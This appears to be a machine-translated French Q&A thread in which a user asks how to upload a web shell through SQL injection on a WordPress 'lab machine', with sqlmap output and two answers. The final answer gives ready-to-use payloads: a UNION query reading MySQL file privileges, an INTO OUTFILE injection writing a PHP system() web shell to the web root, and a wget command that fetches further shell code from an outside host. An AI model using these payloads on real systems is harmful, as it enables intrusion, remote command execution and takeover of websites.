web-dev-qa-db-fra.com

Téléchargement de Shell à l'aide de SQLI

J'ai trouvé une vulnérabilité d'injection SQL dans une Wordpress à l'intérieur de l'une de mes machines de laboratoire et j'essaie de l'exploiter pour télécharger un shell.

Je peux obtenir le hachage administrateur mais il semble que ce soit assez complexe car JTR et HASHCAT prennent beaucoup de temps sans chance.

Voici la sortie de base de SQLmap:

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:                                                                                                                                               
[*] information_schema
[*] mysql
[*] wordpress

J'ai essayé --os-Shell option mais il ne semble pas y avoir d'accès en écriture car j'obtiens ces erreurs:

[02:26:36] [ATTENTION] impossible de récupérer automatiquement un chemin de serveur Web

[02:26:36] [INFO] essayant de télécharger le stager de fichier sur '/ var/www' via la technique LIMIT INTO OUTFILE

[02:26:37] [ATTENTION] impossible de télécharger le stager de fichiers sur '/ var/www'

[02:26:37] [INFO] essayant de télécharger le stager de fichier sur '/ var/www' via la technique UNION

[02:26:37] [AVERTISSEMENT] attendez-vous à des caractères indésirables à l'intérieur du fichier comme un reste de la requête UNION

[02:26:38] [AVERTISSEMENT] il semble que le fichier n'ait pas été écrit, cela peut se produire si l'utilisateur du processus SGBD n'a aucun privilège d'écriture dans le chemin de destination

Je peux obtenir --sql-Shell sans problème. J'ai essayé les étapes ici ( http://evilzone.org/tutorials/upload-Shell-with-sql-injection/ ) pour télécharger un Shell mais j'obtiens l'erreur suivante

[02:00:16] [AVERTISSEMENT] l'exécution de requêtes SQL personnalisées n'est disponible que lorsque les requêtes empilées sont prises en charge

Maintenant, j'ai besoin d'un moyen de télécharger un shell sur la machine cible, des réflexions? Aussi des pensées où je peux craquer Wordpress hachage du mot de passe administrateur en ligne?

5
Ahmed Taher

Tout d'abord, si vous déboguez un échec sqlmap, vous devez augmenter la verbosité. Personne ne peut réellement répondre à cette question, car vous n'avez pas rassemblé les informations appropriées.

Le --os-Shell fonctionne pour MySQL en essayant d'utiliser un into outfile pour écrire un fichier à la racine Web. Cela peut échouer pour un certain nombre de raisons. La raison la plus courante étant que la base de données et le serveur Web et les différentes machines. Les ensembles de règles AppArmor par défaut d'Ubuntu interdisent à MySQL d'écrire dans/var/www /. Aussi, into outfile requiert des privilèges de fichier qui ne devraient jamais être accordés (mais le sont souvent). Vous pouvez essayer d'utiliser la fonctionnalité file-io de sqlmap pour lire et écrire dans le système de fichiers distant.

dans le contexte de cette application, le vidage du contenu de la base de données Wordpress MySQL générera le hachage du mot de passe de l'administrateur. La fissuration de ce hachage produira un compte administrateur Wordpress qui a presque toujours la possibilité de télécharger et d'installer des extensions Wordpress .... ou PHP shells.

6
rook

Oui, vous pouvez écrire votre shell sur le serveur Web avec des instructions SQL sans vous connecter au panneau d'administration ou à tout autre panneau de contrôle.

Mais pour cela, vous devez répondre à certaines exigences:

  1. Vous devez avoir des privilèges d'écriture et un répertoire accessible en écriture (où vous devez télécharger votre Shell)
  2. Chemin racine (c'est-à-dire /var/www/website/)
  3. Magic Quotes doit être activé

Vérifier les privilèges d'écriture

Maintenant, la question est de savoir si vous avez des autorisations d'écriture? Vous pouvez simplement lire file_priv du mysql.user table:

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

S'il indique Y après votre utilisateur actuel, alors vous avez de la chance et vous avez des privilèges d'écriture.

Créez un fichier pour recevoir le Shell

Il est maintenant temps d'utiliser les instructions MySQL. Nous allons utiliser INTO OUTFILE, qui écrit vos lignes sélectionnées dans un fichier. La syntaxe de base est:

select column_name from table_name into outfile "filepath/file.extension

Quelque chose comme ça devrait créer un fichier nommé Shell.php dans le répertoire du site Web et écrivez ce code PHP à l'intérieur:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/Shell.php"

Accéder au shell

Nous pouvons maintenant accéder à notre Shell en visitant http://website.com/Shell.php?cmd=whoami. Vous pouvez exécuter n'importe quelle commande après cmd=. Vous pouvez maintenant télécharger un shellcode prêt à l'emploi sur le serveur en utilisant curl ou `wget (sur les serveurs Linux):

`http://website.com/Shell.php?cmd=wget http://othersite.com/Shell.txt -O code.php`

Et puis vous pouvez accéder à votre Shell avec:

http://website.com/code.php

J'espère que vous avez tout compris :)

7
Ammar Brohi